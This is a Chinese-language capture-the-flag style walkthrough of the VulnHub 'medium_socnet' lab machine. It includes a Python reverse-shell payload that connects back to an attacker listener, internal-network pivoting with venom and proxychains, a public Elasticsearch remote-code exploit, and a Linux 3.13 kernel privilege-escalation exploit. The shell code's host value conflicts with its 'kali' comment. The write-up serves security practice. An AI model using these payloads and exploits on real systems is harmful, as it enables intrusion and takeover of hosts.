靶机下载地址:https://download.vulnhub.com/boredhackerblog/medium_socnet.ova

主机探测

arp-scan -l

arp-scan命令使用参数-l

nmap -sn 192.168.40.0/16

nmap主机探测命令使用参数

kali:192.168.40.148

靶机:192.168.40.149

开始时没能使用工具扫描到靶机ip,最后才发现是因为VMware默认采用了桥接模式而非NAT模式将其接入网络。

进一步信息收集

1.端口、服务、操作系统探测

nmap -sV -sC -O 192.168.40.149

进一步搜集信息

目标开放了22、5000端口,在5000端口运行了一个由python2编写的http服务“Werkzeug”。在按照提示输入少于4字符长度的信息时会提示输入不够长

进一步搜集信息

2.目录扫描

dirsearch -u 192.168.40.149:5000

对5000端口进行目录扫描,发现一个/admin目录,访问,内有一个可执行python代码的入口。

尝试利用

1.利用python来反弹shell

先在kali监听5555端口:

nc -lvnp 5555

在网页执行:

1
2
3
4
5
6
7
8
9
import socket,subprocess,os;
Rhost='192.168.40.149';#kali
Rport=5555;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);# 创建一个TCP-socket对象
s.connect((Rhost,Rport)); # 连接攻击者
os.dup2(s.fileno(),0); # 复制链接符
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);# 创建子进程调用SHELL

然后在kali端反弹shell,虽有root权限,但在目录下含有docker文档,且ip并非靶机ip。因此本用户可能只是docker容器的。

需要排除蜜罐的可能

2.内网探测

然后进行内网探测,此内网有16位掩码,使用循环探测。

for i in $(seq 1 100); do ping -c 1 172.17.0.$i; done

内网

本机为.2,除此之外还有.1和.3两台主机。

容器里没有可利用的工具,所以使用venom进行代理,以便使用kali访问靶机内网。

用venom监听8888端口,kali为64位

监听

然后在kali端启动一个临时的http服务,以便靶机可以下载代理客户端。

python -m http.server 80注意,根目录即为此命令运行时的目录

http服务

在靶机的shell下载文件,给它运行的权限。

wget 192.168.40.148/agent_linux_x64

chmod +x agent_linux_x64

成功连接

成功连接(kali端)

使用show命令查找结点,再用goto连接该结点,并启动socks监听

成功连接(kali端)

使用proxychain工具设置代理访问靶机的内网。

修改proxychains4.conf文件,其中SOCKS5同时支持tcp和udp应用。

修改配置

探测.1的那台主机,发现开启服务与端口同最开始时靶机的情况。

proxychains nmap -Pn -sT -sV 172.17.0.1

点1的探测结果

探测.3主机,开启了9200端口,是一个Elasticsearch服务。

proxychains nmap -Pn -sT -sV 172.17.0.3

点3的探测结果

至此,我们通过访问内网发现了第二台主机(就是点3的那台)可能有漏洞利用的可能。

3.漏洞利用

搜索漏洞,并把第一个结果复制到当前目录

searchsploit Elasticsearch

searchsploit -m 36337.py ./

尝试利用

大概看看代码,然后拿到另一台主机的shell

proxychains python2 36337.py 172.17.0.3

出了点问题

然后就出错了,下次在解决吧,开摆。

———————————————————更新分界线—————————————————————-

根据查询资料,这个elasticsearch为一个分布式搜索和分析引擎。

而以上问题的原因,是因为初次使用系统内没有数据,需要手动添加一条数据:

proxychains curl -XPOST 'http://172.17.0.3:9200/twitter/user/yren' -d '{"name":"Ww"}'

成功拿到另一台主机的shell,并发现目录下有个敏感文件passwords

在somd5.com进行查找,尝试使用John-1337hack登录ssh,成功。

提权

使用的是内核提权,因为内核版本低(Linux 3.13.0)。

搜索可用脚本,复制……

searchsploit Linux 3.13.0

新问题是,该脚本需要使用gcc编译,但靶机中没用gcc。所以c代码需要在kali端编译。

在源代码中,需要将一个c文件编译为so文件,再调用这个so文件。所以需要去除这段内容,再把现成的so文件送给靶机调用。

gcc 37292.c -o exp

编译c文件,命名为exp,并准备好ofs-lib.so文件,使用python的http服务将其送给靶机(和之前送代理客户端一样)

将文件放在/tmp下(据说是为了方便?)

给权限,执行。

chmod +x exp

又出错了,这是因为kali上编译时的动态库高于靶机。重新下载版本适合的动态库 libc6_2.19-0ubuntu6_amd64.deb

解压,重新使用该库编译c文件

gcc 37292.c -o exp -Ldir libc.so.6

再重复上述操作提权。